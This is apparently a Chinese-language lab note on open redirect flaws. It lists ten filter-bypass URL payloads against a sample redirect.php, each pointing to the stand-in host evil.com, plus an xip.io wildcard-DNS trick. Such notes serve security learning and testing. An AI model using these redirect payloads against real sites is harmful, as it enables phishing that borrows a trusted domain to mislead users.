---
# System prepended metadata

title: Pickachu 不安全地址跳轉 (url 重定向)
tags: [Pickachu]

---

# Pickachu 不安全地址跳轉 (url 重定向)

###### tags: `Pickachu`

### 有時網站會接收使用者傳入的網頁，並跳轉。

url跳轉比較直接的危害是:
釣魚,既攻擊者使用漏洞方的域名(比如一個比較出名的公司域名往往會讓用戶放心的點擊)做掩蓋,而最終跳轉的確實釣魚網站




### 繞過
有時候網站會有一些規則，只允許自己網站，或特定網站可以被跳轉，這時就需要繞過。


1.單斜線”/“繞過
```
https://www.landgrey.me/redirect.php?url=/www.evil.com
```
2.缺少協議繞過
```
https://www.landgrey.me/redirect.php?url=//www.evil.com
```


3.多斜線”/“前綴繞過
```
https://www.landgrey.me/redirect.php?url=///www.evil.com https://www.landgrey.me/redirect.php?url=////www.evil.com
```


4.利⽤”@”符號繞過
```
https://www.landgrey.me/redirect.php?url=https://www.landgrey.me@www.evil.com
```


5.利⽤反斜線”"繞過
```
https://www.landgrey.me/redirect.php?url=https://www.evil.com\www.landgrey.me
```


6.利⽤”#”符號繞過
```
https://www.landgrey.me/redirect.php?url=https://www.evil.com#www.landgrey.me
```


7.利⽤”?”號繞過
```
https://www.landgrey.me/redirect.php?url=https://www.evil.com?www.landgrey.me
```


8.利⽤”\“繞過
```
https://www.landgrey.me/redirect.php?url=https://www.evil.com\\www.landgrey.me
```


9.利⽤”.”繞過
```
https://www.landgrey.me/redirect.php?url=.evil (可能會跳轉到www.landgrey.me.evil域名)
https://www.landgrey.me/redirect.php?url=.evil.com (可能會跳轉到evil.com域名)
```


10.重複特殊字符繞過
`https://www.landgrey.me/redirect.php?url=///www.evil.com//.. https://www.landgrey.me/redirect.php?url=////www.evil.com//..`




另外有一種 泛域名解析繞過。
xip.io

```
10.0.0.1.xip.io   resolves to   10.0.0.1
www.10.0.0.1.xip.io   resolves to   10.0.0.1
mysite.10.0.0.1.xip.io   resolves to   10.0.0.1
foo.bar.10.0.0.1.xip.io   resolves to   10.0.0.1

```